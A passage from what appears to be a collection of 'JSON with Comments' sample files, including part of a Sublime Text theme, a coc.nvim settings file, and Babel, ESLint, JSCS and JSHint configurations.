160],\n\t\t\"shadow_offset\": [0, 1],\n\t\t\"shadow_color\": [0, 0, 0, 255]\n\t},\n\n//\tSTATUS BAR\n//\t==========================================================\n\t//\t- Status bar container\n\t{\n\t\t\"class\": \"status_bar\",\n\t\t\"layer0.texture\": \"SourcePawn/assets/status-bar-bg.png\",\n\t\t\"layer0.opacity\": 1,\n\t\t\"layer0.inner_margin\": [2, 2],\n\t\t\"content_margin\": [6, 5, 6, 5]\n\t},\n\t{\n\t\t\"class\": \"status_button\",\n\t\t\"min_size\": [100, 0]\n\t},\n\n\t//\t- Status bar label\n\t{\n\t\t\"class\": \"label_control\",\n\t\t\"parents\": [{\"class\": \"status_bar\"}],\n\t\t\"font.size\": 10,\n\t\t\"color\": [160, 160, 160],\n\t\t\"shadow_color\": [0, 0, 0],\n\t\t\"shadow_offset\": [0, 1]\n\t},\n\n//\tSIDEBAR\n//\t==========================================================\n\t//\t- Sidebar container (border)\n\t{\n\t\t\"class\": \"sidebar_container\",\n\t\t\"layer0.tint\": [150, 150, 150],\n\t\t\"layer0.opacity\": 0.5,\n\t\t\"layer0.draw_center\": false,\n\t\t\"layer0.inner_margin\": [0, 0, 1, 0],\n\t\t\"content_margin\": [0, 0, 1, 0]\n\t},\n\t//\t- Sidebar tree (bg)\n\t{\n\t\t\"class\": \"sidebar_tree\",\n\t\t\"row_padding\": [8, 3],\n\t\t\"indent\": 15,\n\t\t\"indent_offset\": 13,\n\t\t\"indent_top_level\": false,\n\t\t\"layer0.tint\": [19, 20, 21],\t// darker gray\n\t\t\"layer0.opacity\": 1.0,\n\t\t\"dark_content\": true\n\t},\n\t//\t- Sidebar rows\n\t{\n\t\t\"class\": \"tree_row\",\n\t\t\"layer0.texture\": \"SourcePawn/assets/row-active.png\",\n\t\t\"layer0.opacity\": 0.0,\n\t\t\"layer0.inner_margin\": [8, 3],\n\t\t\"layer1.opacity\": 0.0,\n\t\t\"layer1.inner_margin\": [8, 3]\n\t},\n\t//\t- Sidebar row selected\n\t{\n\t\t\"class\": \"tree_row\",\n\t\t\"attributes\": [\"selected\"],\n\t\t\"layer0.opacity\": 1.0\n\t},\n\t// - Sidebar row dirty\n\t{\n\t\t\"class\": \"tree_row\",\n\t\t\"attributes\": [\"dirty\"],\n\t\t\"layer0.texture\": \"SourcePawn/assets/row-inactive-modified.png\",\n\t\t\"layer0.opacity\": 1.0\n\t},\n\t// - Sidebar row selected dirty\n\t{\n\t\t\"class\": \"tree_row\",\n\t\t\"attributes\": [\"selected\", \"dirty\"],\n\t\t\"layer0.texture\": \"SourcePawn/assets/row-active-modified.png\",\n\t\t\"layer0.opacity\": 1.0\n\t},\n\t//\t- Sidebar heading\n\t{\n\t\t\"class\": \"sidebar_heading\",\n\t\t\"color\": [2, 196, 251],\n\t\t\"font.bold\": true,\n\t\t\"shadow_color\": [0, 0, 0],\n\t\t\"shadow_offset\": [0, 1]\n\t},\n\t{\n\t\t\"class\": \"sidebar_heading\",\n\t\t\"parents\": [{\"class\": \"tree_row\", \"attributes\": [\"selected\"]}],\n\t\t\"color\": [180, 180, 180]\n\t},\n\t//\t- Sidebar entry label\n\t{\n\t\t\"class\": \"sidebar_label\",\n\t\t\"color\": [200, 200, 200],\n\t\t\"shadow_color\": [0, 0, 0],\n\t\t\"shadow_offset\": [0, 1]\n\t},\n\t{\n\t\t\"class\": \"sidebar_label\",\n\t\t\"parents\": [{\"class\": \"tree_row\", \"attributes\": [\"expandable\"]}],\n\t\t\"settings\": [\"bold_folder_labels\"],\n\t\t\"font.bold\": true\n\t},\n\t{\t//\tSidebar selected entry label\n\t\t\"class\": \"sidebar_label\",\n\t\t\"parents\": [{\"class\": \"tree_row\", \"attributes\": [\"selected\"]}],\n\t\t\"color\": [240, 240, 240],\n\t\t\"shadow_color\": [0, 0, 0],\n\t\t\"shadow_offset\": [0, 1]\n\t},\n\t{\t//\tSidebar Hover entry label\n\t\t\"class\": \"sidebar_label\",\n\t\t\"parents\": [{\"class\": \"tree_row\", \"attributes\": [\"hover\"]}],\n\t\t\"color\": [2, 196, 251],\n\t\t\"shadow_color\": [0, 0, 0],\n\t\t\"shadow_offset\": [0, 1]\n\t},\n\t{\t//\tSidebar Hover entry label\n\t\t\"class\": \"sidebar_label\",\n\t\t\"parents\": [{\"class\": \"tree_row\", \"attributes\": [\"dirty\"]}],\n\t\t\"color\": [253, 113, 1],\n\t\t\"shadow_color\": [0, 0, 0],\n\t\t\"shadow_offset\": [0, 1]\n\t},\n\n\t//\t- Sidebar open files close/dirty\n\t{\n\t\t\"class\": \"close_button\",\n\t\t\"layer0.texture\": \"SourcePawn/assets/tab-button-close-hover.png\",\n\t\t\"layer0.opacity\": 0.5,\n\t\t\"layer0.inner_margin\": 4,\n\t\t\"layer1.opacity\": 0.0,\n\t\t\"layer1.texture\":  \"SourcePawn/assets/tab-button-close.png\",\n\t\t\"layer1.inner_margin\": 4,\n\t\t\"content_margin\": [8, 8]\n\t},\n\t{\n\t\t\"class\": \"close_button\",\n\t\t\"attributes\": [\"dirty\"],\n\t\t\"layer0.texture\": \"SourcePawn/assets/tab-button-dirty.png\",\n\t\t\"layer0.opacity\": 0.5\n\t},\n\t{\n\t\t\"class\": \"close_button\",\n\t\t\"attributes\": [\"hover\"],\n\t\t\"layer0.texture\": \"SourcePawn/assets/tab-button-close-hover.png\",\n\t\t\"layer1.opacity\": 0.5,\n\t\t\"layer1.texture\": \"SourcePawn/assets/tab-button-close.png\"\n\t},\n\t{\n\t\t\"class\": \"close_button\",\n\t\t\"attributes\": [\"hover\", \"dirty\"],\n\t\t\"layer1.opacity\": 0.5,\n\t\t\"layer1.texture\": \"SourcePawn/assets/tab-button-close-dirty.png\"\n\t},\n\t{\n\t\t\"class\": \"close_button\",\n\t\t\"attributes\": [\"pressed\"],\n\t\t\"layer1.opacity\": 1.0,\n\t\t\"layer1.texture\": \"SourcePawn/assets/tab-button-close.png\"\n\t},\n\t{\n\t\t\"class\": \"close_button\",\n\t\t\"attributes\": [\"pressed\", \"dirty\"],\n\t\t\"layer1.opacity\": 1.0,\n\t\t\"layer1.texture\": \"SourcePawn/assets/tab-button-close-dirty.png\"\n\t},\n\n\t//\t- Sidebar FOLDERS closed\n\t{\n\t\t\"class\": \"disclosure_button_control\",\n\t\t\"content_margin\": [9, 7, 8, 6],\n\t\t\"layer0.texture\": \"SourcePawn/assets/folder/group-closed.png\",\n\t\t\"layer0.opacity\": 1.0,\n\t\t\"layer0.inner_margin\": 0\n\t},\n\t{\n\t\t\"class\": \"disclosure_button_control\",\n\t\t\"parents\": [{\"class\": \"tree_row\", \"attributes\": [\"hover\"]}],\n\t\t\"layer0.texture\": \"SourcePawn/assets/folder/group-closed-hover.png\"\n\t},\n\t{\n\t\t\"class\": \"disclosure_button_control\",\n\t\t\"parents\": [{\"class\": \"tree_row\", \"attributes\": [\"selected\"]}],\n\t\t\"layer0.texture\": \"SourcePawn/assets/folder/group-closed-selected.png\"\n\t},\n\t//\t- Sidebar Folders open\n\t{\n\t\t\"class\": \"disclosure_button_control\",\n\t\t\"attributes\": [\"expanded\"],\n\t\t\"layer0.texture\": \"SourcePawn/assets/folder/group-open.png\"\n\t},\n\t{\n\t\t\"class\": \"disclosure_button_control\",\n\t\t\"attributes\": [\"expanded\"],\n\t\t\"parents\": [{\"class\": \"tree_row\", \"attributes\": [\"hover\"]}],\n\t\t\"layer0.texture\": \"SourcePawn/assets/folder/group-open-hover.png\"\n\t},\n\t{\n\t\t\"class\": \"disclosure_button_control\",\n\t\t\"attributes\": [\"expanded\"],\n\t\t\"parents\": [{\"class\": \"tree_row\", \"attributes\": [\"selected\"]}],\n\t\t\"layer0.texture\": \"SourcePawn/assets/folder/group-open-selected.png\"\n\t},\n\n//\tSTANDARD TEXT BUTTONS\n//\t=========================================================\n\t//\t- Standard buttons (used for Find / Replace panel)\n\t{\n\t\t\"class\": \"button_control\",\n\t\t\"content_margin\": [6, 5, 6, 6],\n\t\t\"min_size\": [75, 0],\n\n\t\t//\tDefault button state\n\t\t\"layer0.texture\": \"SourcePawn/assets/btn-large.png\",\n\t\t\"layer0.opacity\": 1.0,\n\t\t\"layer0.inner_margin\": [6, 6],\n\n\t\t//\tPressed button setup\n\t\t\"layer1.texture\": \"SourcePawn/assets/btn-large-active.png\",\n\t\t\"layer1.opacity\": 0.0,\n\t\t\"layer1.inner_margin\": [6, 6]\n\t},\n\t{\n\t\t//\tPressed button state\n\t\t\"class\": \"button_control\",\n\t\t\"attributes\": [\"pressed\"],\n\t\t\"layer1.opacity\": 1.0,\n\t\t\"content_margin\": [6, 6, 6, 6]\n\t},\n\n//\tTEXT INPUT FIELD\n//\t=========================================================\n\n\t//\t- Text input field item\n\t{\n\t\t\"class\": \"text_line_control\",\n\t\t\"layer0.texture\": \"SourcePawn/assets/text-field.png\",\n\t\t\"layer0.opacity\": 1.0,\n\t\t\"layer0.inner_margin\": [10, 10, 10, 10],\n\t\t\"content_margin\": [5, 5, 5, 5]\n\t},\n\n//\tPANEL BACKGROUNDS\n//\t=========================================================\n\t//\t- Bottom panel background\n\t{\n\t\t\"class\": \"panel_control\",\n\t\t\"layer0.texture\": \"SourcePawn/assets/panel-bg.png\",\n\t\t\"layer0.inner_margin\": [4, 4, 4, 4],\n\t\t\"layer0.opacity\": 1.0\n\t},\n\n\t//\t- Quick panel background\n\t{\n\t\t\"class\": \"overlay_control\",\n\t\t\"layer0.texture\": \"SourcePawn/assets/overlay-bg.png\",\n\t\t\"layer0.inner_margin\": [10, 5, 10, 20],  // left, top, right, bottom\n\t\t\"layer0.opacity\": 1.0,\n\t\t\"layer1.opacity\": 0, // HIDDEN\n\t\t\"content_margin\": [11, 8, 11, 17]\n\t},\n\n//\tQUICK PANEL\n//\t=========================================================\n\t{\n\t\t\"class\": \"quick_panel\",\n\t\t\"row_padding\": [4, 3],\n\t\t\"layer0.tint\": [45, 45, 45],\n\t\t\"layer0.opacity\": 1,\n\t\t\"dark_content\": true\n\t},\n\t{\n\t\t\"class\": \"quick_panel_row\",\n\t\t\"layer0.texture\": \"SourcePawn/assets/qp-row.png\",\n\t\t\"layer0.opacity\": 1.0,\n\t\t\"layer0.inner_margin\": [4, 4, 4, 4],\n\t\t\"layer1.draw_center\": true\n\t},\n\t{\n\t\t\"class\": \"quick_panel_row\",\n\t\t\"attributes\": [\"selected\"],\n\t\t\"layer0.texture\": \"SourcePawn/assets/qp-row-selected.png\"\n\t},\n\t{\n\t\t\"class\": \"quick_panel_label\",\n\t\t\"fg\": [190, 190, 190, 255],\n\t\t\"match_fg\": [166, 229, 255, 255],\n\t\t\"bg\": [71, 71, 71, 255],\n\t\t\"selected_fg\": [220, 220, 220, 255],\n\t\t\"selected_match_fg\": [2, 196, 251, 255],\n\t\t\"selected_bg\": [134, 134, 134, 255]\n\t},\n\t{\n\t\t\"class\": \"quick_panel_path_label\",\n\t\t\"fg\": [100, 100, 100, 255],\n\t\t\"match_fg\": [166, 229, 255, 255],\n\t\t\"bg\": [41, 41, 41, 255],\n\t\t\"selected_fg\": [120, 120, 120, 255],\n\t\t\"selected_match_fg\": [2, 196, 251, 255],\n\t\t\"selected_bg\": [24, 24, 24, 255]\n\t},\n\t{\n\t\t\"class\": \"quick_panel_score_label\",\n\t\t\"fg\": [90, 90, 90, 255],\n\t\t\"bg\": [41, 41, 41, 255],\n\t\t\"selected_fg\": [114, 114, 114, 255],\n\t\t\"selected_bg\": [24, 24, 24, 255]\n\t},\n\n//\tMINI QUICK PANEL\n//\t=========================================================\n\t{\n\t\t\"class\": \"mini_quick_panel_row\",\n\t\t\"layer0.texture\": \"SourcePawn/assets/qp-row.png\",\n\t\t\"layer0.inner_margin\": [4, 4, 4, 4],\n\t\t\"layer0.opacity\": 1.0\n\t},\n\t{\n\t\t\"class\": \"mini_quick_panel_row\",\n\t\t\"attributes\": [\"selected\"],\n\t\t\"layer0.texture\": \"SourcePawn/assets/qp-row-selected.png\"\n\t},\n\n//\tCODE COMPLETION DROPDOWN\n//\t=========================================================\n\t{\n\t\t\"class\": \"popup_control\",\n\t\t\"content_margin\": [0, 0]\n\t},\n\t{\n\t\t\"class\": \"auto_complete\",\n\t\t\"row_padding\": [2, 2],\n\t\t\"layer0.tint\": [30, 30, 30],\n\t\t\"layer0.opacity\": 1.0,\n\t\t\"dark_content\": true\n\t},\n\t{\n\t\t\"class\": \"auto_complete_label\",\n\t\t\"fg\": [140, 140, 140],\n\t\t\"match_fg\": [255, 255, 255],\n\t\t\"bg\": [26, 26, 26],\n\t\t\"selected_fg\": [255, 255, 255],\n\t\t\"selected_match_fg\": [255, 255, 255],\n\t\t\"selected_bg\": [86, 86, 86]\n\t},\n\t{\n\t\t\"class\": \"table_row\",\n\t\t\"layer0.tint\": [45, 45, 45],\n\t\t\"layer0.opacity\": 0.0,\n\t\t\"layer0.inner_margin\": [1, 1]\n\t},\n\t{\n\t\t\"class\": \"table_row\",\n\t\t\"attributes\": [\"selected\"],\n\t\t\"layer0.opacity\": 1.0\n\t},\n\n//\tBOTTOM PANEL BUTTONS\n//\t==========================================================\n\t{\n\t\t\"class\": \"icon_button_control\",\n\t\t\"content_margin\": [4, 4]\n\t},\n\t{\n\t\t\"class\": \"icon_button_control\",\n\t\t\"attributes\": [\"pressed\"]\n\t},\n\t//\t- Regex search button\n\t{\n\t\t\"class\": \"icon_regex\",\n\t\t\"layer0.texture\": \"SourcePawn/assets/icons/regex-off.png\",\n\t\t\"layer0.opacity\": 1.0,\n\t\t\"content_margin\": [9, 10]\n\t},\n\t{\n\t\t\"class\": \"icon_regex\",\n\t\t\"parents\": [{\"class\": \"icon_button_control\", \"attributes\": [\"selected\"]}],\n\t\t\"layer0.texture\": \"SourcePawn/assets/icons/regex-on.png\"\n\t},\n\t//\t- Case sensitive search button\n\t{\n\t\t\"class\": \"icon_case\",\n\t\t\"layer0.texture\": \"SourcePawn/assets/icons/case-off.png\",\n\t\t\"layer0.opacity\": 1.0,\n\t\t\"content_margin\": [9, 10]\n\t},\n\t{\n\t\t\"class\": \"icon_case\",\n\t\t\"parents\": [{\"class\": \"icon_button_control\", \"attributes\": [\"selected\"]}],\n\t\t\"layer0.texture\": \"SourcePawn/assets/icons/case-on.png\"\n\t},\n\t//\t- Match whole word search button\n\t{\n\t\t\"class\": \"icon_whole_word\",\n\t\t\"layer0.texture\": \"SourcePawn/assets/icons/whole-word-off.png\",\n\t\t\"layer0.opacity\": 1.0,\n\t\t\"content_margin\": [9, 10]\n\t},\n\t{\n\t\t\"class\": \"icon_whole_word\",\n\t\t\"parents\": [{\"class\": \"icon_button_control\", \"attributes\": [\"selected\"]}],\n\t\t\"layer0.texture\": \"SourcePawn/assets/icons/whole-word-on.png\"\n\t},\n\t//\t- Reverse search direction button\n\t{\n\t\t\"class\": \"icon_reverse\",\n\t\t\"layer0.texture\": \"SourcePawn/assets/icons/reverse-off.png\",\n\t\t\"layer0.opacity\": 1.0,\n\t\t\"content_margin\": [9, 10]\n\t},\n\t{\n\t\t\"class\": \"icon_reverse\",\n\t\t\"parents\": [{\"class\": \"icon_button_control\", \"attributes\": [\"selected\"]}],\n\t\t\"layer0.texture\": \"SourcePawn/assets/icons/reverse-on.png\"\n\t},\n\t//\t- Search wrap button\n\t{\n\t\t\"class\": \"icon_wrap\",\n\t\t\"layer0.texture\": \"SourcePawn/assets/icons/wrap-off.png\",\n\t\t\"layer0.opacity\": 1.0,\n\t\t\"content_margin\": [9, 10]\n\t},\n\t{\n\t\t\"class\": \"icon_wrap\",\n\t\t\"parents\": [{\"class\": \"icon_button_control\", \"attributes\": [\"selected\"]}],\n\t\t\"layer0.texture\": \"SourcePawn/assets/icons/wrap-on.png\"\n\t},\n\t//\t- Search in selection button\n\t{\n\t\t\"class\": \"icon_in_selection\",\n\t\t\"layer0.texture\": \"SourcePawn/assets/icons/selection-off.png\",\n\t\t\"layer0.opacity\": 1.0,\n\t\t\"content_margin\": [9, 10]\n\t},\n\t{\n\t\t\"class\": \"icon_in_selection\",\n\t\t\"parents\": [{\"class\": \"icon_button_control\", \"attributes\": [\"selected\"]}],\n\t\t\"layer0.texture\": \"SourcePawn/assets/icons/selection-on.png\"\n\t},\n\t//\t- Preserve case button\n\t{\n\t\t\"class\": \"icon_preserve_case\",\n\t\t\"layer0.texture\": \"SourcePawn/assets/icons/preserve-case-off.png\",\n\t\t\"layer0.opacity\": 1.0,\n\t\t\"content_margin\": [9, 10]\n\t},\n\t{\n\t\t\"class\": \"icon_preserve_case\",\n\t\t\"parents\": [{\"class\": \"icon_button_control\", \"attributes\": [\"selected\"]}],\n\t\t\"layer0.texture\": \"SourcePawn/assets/icons/preserve-case-on.png\"\n\t},\n\t//\t- Highlight results button\n\t{\n\t\t\"class\": \"icon_highlight\",\n\t\t\"layer0.texture\": \"SourcePawn/assets/icons/highlight-off.png\",\n\t\t\"layer0.opacity\": 1.0,\n\t\t\"content_margin\": [9, 10]\n\t},\n\t{\n\t\t\"class\": \"icon_highlight\",\n\t\t\"parents\": [{\"class\": \"icon_button_control\", \"attributes\": [\"selected\"]}],\n\t\t\"layer0.texture\": \"SourcePawn/assets/icons/highlight-on.png\"\n\t},\n\n\t// \tBOTTOM PANEL ICONS (EXTENDED: FIND IN FILES)\n\t//\t=========================================================\n\n\t//\t- Show search context button\n\t{\n\t\t\"class\": \"icon_context\",\n\t\t\"layer0.texture\": \"SourcePawn/assets/icons/context-off.png\",\n\t\t\"layer0.opacity\": 1.0,\n\t\t\"content_margin\": [9, 10]\n\t},\n\t{\n\t\t\"class\": \"icon_context\",\n\t\t\"parents\": [{\"class\": \"icon_button_control\", \"attributes\": [\"selected\"]}],\n\t\t\"layer0.texture\": \"SourcePawn/assets/icons/context-on.png\"\n\t},\n\t//\t- Use search buffer\n\t{\n\t\t\"class\": \"icon_use_buffer\",\n\t\t\"layer0.texture\": \"SourcePawn/assets/icons/buffer-off.png\",\n\t\t\"layer0.opacity\": 1.0,\n\t\t\"content_margin\": [9, 10]\n\t},\n\t{\n\t\t\"class\": \"icon_use_buffer\",\n\t\t\"parents\": [{\"class\": \"icon_button_control\", \"attributes\": [\"selected\"]}],\n\t\t\"layer0.texture\": \"SourcePawn/assets/icons/buffer-on.png\"\n\t}\n\n]\n"
  },
  {
    "path": "samples/JSON with Comments/coc.jsonc",
    "content": "// configuration file for `coc.nvim` - https://github.com/neoclide/coc.nvim\n//\n// defaults - https://github.com/neoclide/coc.nvim/blob/master/data/schema.json\n//\n// this file must be symlinked to `$HOME/.config/nvim/coc-settings.json`\n// this symlinking should occur through the install script\n//\n// can also be done manually:\n// `ln -s $DOTFILES/neovim/coc.jsonc $HOME/.config/nvim/coc-settings.json`\n//\n// Note: install script symlinking works by symlinking the existing symlink in\n// `$DOTFILES/config/nvim`\n{\n  \"coc.preferences.formatOnSaveFiletypes\": [\n    \"css\",\n    \"graphql\",\n    \"javascript\",\n    \"javascriptreact\",\n    \"json\",\n    \"jsonc\",\n    \"markdown\",\n    \"python\",\n    \"rust\",\n    \"sh\",\n    \"typescript\",\n    \"typescriptreact\"\n  ],\n\n  \"coc.preferences.rootPatterns\": [\n    \".git\",\n    \".projectroot\",\n    \".vim\",\n    \"tsconfig.json\"\n  ],\n\n  // how to disable LS suggestions in comments like possible for other sources?\n  // ref - https://github.com/neoclide/coc.nvim/wiki/Completion-with-sources\n  \"coc.source.file.ignoreHidden\": false,\n\n  // virtual text listing references & implementations\n  \"codeLens.enable\": true,\n  \"codeLens.separator\": \"  ‣ \",\n\n  \"diagnostic.errorSign\": \"◉\",\n  \"diagnostic.hintSign\": \"◉\",\n  \"diagnostic.infoSign\": \"◉\",\n  \"diagnostic.virtualText\": true,\n  \"diagnostic.virtualTextPrefix\": \" ~  \",\n  \"diagnostic.warningSign\": \"◉\",\n\n  \"list.indicator\": \"λ\",\n  \"list.nextKeymap\": \"<C-k>\",\n  \"list.previousKeymap\": \"<C-l>\",\n\n  \"suggest.enablePreview\": true,\n\n  // <<<<<<<< extension/language server specific settings >>>>>>>>\n\n  // <<<<<<< coc-diagnostic (linting & formatting) >>>>>>>\n  // extension - https://github.com/iamcco/coc-diagnostic\n  // language server - https://github.com/iamcco/diagnostic-languageserver\n  \"diagnostic-languageserver.filetypes\": {\n    \"sh\": \"shellcheck\"\n  },\n  \"diagnostic-languageserver.formatters\": {\n    \"shfmt\": {\n      \"command\": \"shfmt\",\n      // note: `-i 2` is a single arg but must be separated to work here\n      \"args\": [\"-i\", \"2\", \"-bn\", \"-ci\", \"-sr\"]\n    }\n  },\n  \"diagnostic-languageserver.formatFiletypes\": {\n    \"sh\": \"shfmt\"\n  },\n\n  // <<<< eslint >>>>\n  \"eslint.filetypes\": [\n    \"javascript\",\n    \"javascriptreact\",\n    \"typescript\",\n    \"typescriptreact\"\n  ],\n\n  // <<<< python >>>>\n  // ref - https://github.com/neoclide/coc-python#options\n\n  // enables Microsoft PLS\n  // ref - https://github.com/neoclide/coc-python#optional-steps\n  \"python.formatting.provider\": \"black\",\n  \"python.jediEnabled\": false,\n  \"python.linting.mypyEnabled\": true,\n  \"python.linting.pylintEnabled\": false,\n\n  // <<<< rust >>>>\n  // ref - https://github.com/fannheyward/coc-rust-analyzer#configurations\n  \"rust-analyzer.enableCargoWatchOnStartup\": \"enabled\",\n  \"rust-analyzer.featureFlags\": {\n    \"notifications.workspace-loaded\": false\n  },\n\n  // <<<< tsserver >>>>\n  // ref - https://github.com/neoclide/coc-tsserver#configuration-options\n  \"tsserver.enableJavascript\": false\n}\n"
  },
  {
    "path": "samples/JSON with Comments/filenames/.babelrc",
    "content": "{\n  \"presets\": [\n    \"es2015\",\n    \"es2016\"\n  ]\n}\n"
  },
  {
    "path": "samples/JSON with Comments/filenames/.eslintrc.json",
    "content": "{\n\t// Tabs > spaces\n\t\"extends\": \"eslint:recommended\",\n\t\"env\": {\n\t\t\"browser\": true,\n\t\t\"es6\": true,\n\t\t\"mocha\": true,\n\t\t\"node\": true\n\t},\n\t\"parserOptions\": {\n\t\t\"ecmaVersion\": 2017,\n\t\t\"sourceType\": \"module\"\n\t},\n\t\"rules\": {\n\t\t\"indent\": [\n\t\t\t\"error\",\n\t\t\t\"tab\",\n\t\t\t{\n\t\t\t\t\"ignoreComments\": true,\n\t\t\t\t\"SwitchCase\": 1\n\t\t\t}\n\t\t],\n\t\t\"linebreak-style\": [\n\t\t\t\"error\",\n\t\t\t\"unix\"\n\t\t],\n\t\t\"no-fallthrough\": [\n\t\t\t\"error\",\n\t\t\t{\"commentPattern\": \"[Ff]alls?[-\\\\s]?through\"}\n\t\t],\n\t\t\"no-case-declarations\": 0,\n\t\t\"no-cond-assign\": 0,\n\t\t\"no-console\": 0,\n\t\t\"no-empty\": 0,\n\t\t\"quotes\": [\n\t\t\t\"error\",\n\t\t\t\"double\",\n\t\t\t{\"avoidEscape\": true}\n\t\t],\n\t\t\"semi\": [\n\t\t\t\"error\",\n\t\t\t\"always\"\n\t\t],\n\t\t\"spaced-comment\": [\n\t\t\t\"error\",\n\t\t\t\"always\"\n\t\t],\n\t\t\"yoda\": [\n\t\t\t\"error\",\n\t\t\t\"always\",\n\t\t\t{\"onlyEquality\": true}\n\t\t]\n\t}\n}\n"
  },
  {
    "path": "samples/JSON with Comments/filenames/.jscsrc",
    "content": "{\n\t\"requireOperatorBeforeLineBreak\": true,\n\t\"maximumLineLength\": {\n\t\t\"value\": 100,\n\t\t\"allowComments\": true,\n\t\t\"allowRegex\": true\n\t},\n\n\t\"disallowMultipleLineStrings\": true,\n\t\"disallowMixedSpacesAndTabs\": true,\n\t\"disallowTrailingWhitespace\": true,\n\t\"disallowSpaceAfterPrefixUnaryOperators\": true,\n\t\"disallowSpaceBeforePostfixUnaryOperators\": true,\n\n\t\"requireSpaceAfterKeywords\": [\n\t\t\"if\",\n\t\t\"else\",\n\t\t\"for\",\n\t\t\"while\",\n\t\t\"do\",\n\t\t\"switch\",\n\t\t\"return\",\n\t\t\"try\",\n\t\t\"catch\"\n\t],\n\t\"requireSpaceBeforeBinaryOperators\": true,\n\t\"requireSpaceAfterBinaryOperators\": true,\n\t\"requireSpacesInConditionalExpression\": true,\n\t\"requireSpaceBeforeBlockStatements\": true,\n\t\"requireLineFeedAtFileEnd\": true,\n\t\"requireSpacesInFunctionExpression\": {\n\t\t\"beforeOpeningCurlyBrace\": true\n\t},\n\t\"disallowSpacesInAnonymousFunctionExpression\": {\n\t\t\"beforeOpeningRoundBrace\": true\n\t},\n\t\"requireSpacesInsideObjectBrackets\": \"all\",\n\t// disabled until consensus can be formed\n\t// \"disallowSpacesInsideArrayBrackets\": \"all\",\n\t\"disallowSpacesInsideParentheses\": true,\n\n\t\"disallowNewlineBeforeBlockStatements\": true\n}\n"
  },
  {
    "path": "samples/JSON with Comments/filenames/.jshintrc",
    "content": "{\n    // JSHint Default Configuration File (as on JSHint website)\n    // See http://jshint.com/docs/ for more details\n\n    \"maxerr\"        : 50,       // {int} Maximum error before stopping\n\n    // Enforcing\n    \"bitwise\"       : true,     // true: Prohibit bitwise operators (&, |, ^, etc.)\n    \"camelcase\"     : false,    // true: Identifiers must be in camelCase\n    \"curly\"         : true,     // true: Require {} for every new block or scope\n    \"eqeqeq\"        : true,     // true: Require triple equals (===) for comparison\n    \"forin\"         : true,     // true: Require filtering for..in loops with obj.hasOwnProperty()\n    \"freeze\"        : true,     // true: prohibits overwriting prototypes of native objects such as Array, Date etc.\n    \"immed\"         : false,    // true: Require immediate invocations to be wrapped in parens e.g. `(function () { } ());`\n    \"latedef\"       : false,    // true: Require variables/functions to be defined before being used\n    \"newcap\"        : false,    // true: Require capitalization of all constructor functions e.g. `new F()`\n    \"noarg\"         : true,     // true: Prohibit use of `arguments.caller` and `arguments.callee`\n    \"noempty\"       : true,     // true: Prohibit use of empty blocks\n    \"nonbsp\"        : true,     // true: Prohibit \"non-breaking whitespace\" characters.\n    \"nonew\"         : false,    // true: Prohibit use of constructors for side-effects (without assignment)\n    \"plusplus\"      : false,    // true: Prohibit use of `++` and `--`\n    \"quotmark\"      : false,    // Quotation mark consistency:\n                                //   false    : do nothing (default)\n                                //   true     : ensure whatever is used is consistent\n                                //   \"single\" : require single quotes\n                                //   \"double\" : require double quotes\n    \"undef\"         : true,     // true: Require all non-global variables to be declared (prevents global leaks)\n    \"unused\"        : true,     // Unused variables:\n                                //   true     : all variables, last function parameter\n                                //   \"vars\"   : all variables only\n                                //   \"strict\" : all variables, all function parameters\n    \"strict\"        : true,     // true: Requires all functions run in ES5 Strict Mode\n    \"maxparams\"     : false,    // {int} Max number of formal params allowed per function\n    \"maxdepth\"      : false,    // {int} Max depth of nested blocks (within functions)\n    \"maxstatements\" : false,    // {int} Max number statements per function\n    \"maxcomplexity\" : false,    // {int} Max cyclomatic complexity per function\n    \"maxlen\"        : false,    // {int} Max number of characters per line\n    \"varstmt\"       : false,    // true: Disallow any var statements. Only `let` and `const` are allowed.\n\n    // Relaxing\n    \"asi\"           : false,     // true: Tolerate Automatic Semicolon Insertion (no semicolons)\n    \"boss\"          : false,     // true: Tolerate assignments where comparisons would be expected\n    \"debug\"         : false,     // true: Allow debugger statements e.g. browser breakpoints.\n    \"eqnull\"        : false,     // true: Tolerate use of `== null`\n    \"esversion\"     : 5,         // {int} Specify the ECMAScript version to which the code must adhere.\n    \"moz\"           : false,     // true: Allow Mozilla specific syntax (extends and overrides esnext features)\n                                 // (ex: `for each`, multiple try/catch, function expression…)\n    \"evil\"          : false,     // true: Tolerate use of `eval` and `new Function()`\n    \"expr\"          : false,     // true: Tolerate `ExpressionStatement` as Programs\n    \"funcscope\"     : false,     // true: Tolerate defining variables inside control statements\n    \"globalstrict\"  : false,     // true: Allow global \"use strict\" (also enables 'strict')\n    \"iterator\"      : false,     // true: Tolerate using the `__iterator__` property\n    \"lastsemic\"     : false,     // true: Tolerate omitting a semicolon for the last statement of a 1-line block\n    \"laxbreak\"      : false,     // true: Tolerate possibly unsafe line breakings\n    \"laxcomma\"      : false,     // true: Tolerate comma-first style coding\n    \"loopfunc\"      : false,     // true: Tolerate functions being defined in loops\n    \"multistr\"      : false,     // true: Tolerate multi-line strings\n    \"noyield\"       : false,     // true: Tolerate generator functions with no yield statement in them.\n    \"notypeof\"      : false,     // true: Tolerate invalid typeof operator values\n    \"proto\"         : false,     // true: Tolerate using the `__proto__` property\n    \"scripturl\"     : false,     // true: Tolerate script-targeted URLs\n    \"shadow\"        : false,     // true: Allows re-define variables later in code e.g. `var x=1; x=2;`\n    \"sub\"           : false,     // true: Tolerate using `[]` notation when it can still be expressed in dot notation\n    \"supernew\"      : false,     // true: Tolerate `new function () { ... };` and `new Object;`\n    \"validthis\"     : false,     // true: Tolerate using this in a non-constructor function\n\n    // Environments\n    \"browser\"       : true,     // Web Browser (window, document, etc)\n    \"browserify\"    : false,    // Browserify (node.js code in the browser)\n    \"couch\"         : false,    // CouchDB\n    \"devel\"         : true,     // Development/debugging (alert, confirm, etc)\n    \"dojo\"          : false,    // Dojo Toolkit\n    \"jasmine\"       : false,    // Jasmine\n    \"jquery\"        : false,    // jQuery\n    \"mocha\"         : true,     // Mocha\n    \"mootools\"      : false,    // MooTools\n    \"node\"          : false,    // Node.js\n    \"nonstandard\"   : false,    // Widely adopted globals (escape, unescape, etc)\n    \"phantom\"       : false,    // PhantomJS\n    \"prototypejs\"   : false,    // Prototype and Scriptaculous\n    \"qunit\"         : false,    // QUnit\n    \"rhino\"         : false,    // Rhino\n    \"shelljs\"       : false,    // ShellJS\n    \"typed\"         : false,    // Globals for typed array constructions\n    \"worker\"        : false,    // Web Workers\n    \"wsh\"           : false,    // Windows Scripting Host\n    \"yui\"           : false,    // Yahoo User Interface\n\n    // Custom Globals\n    \"globals\"       : {}        // additional 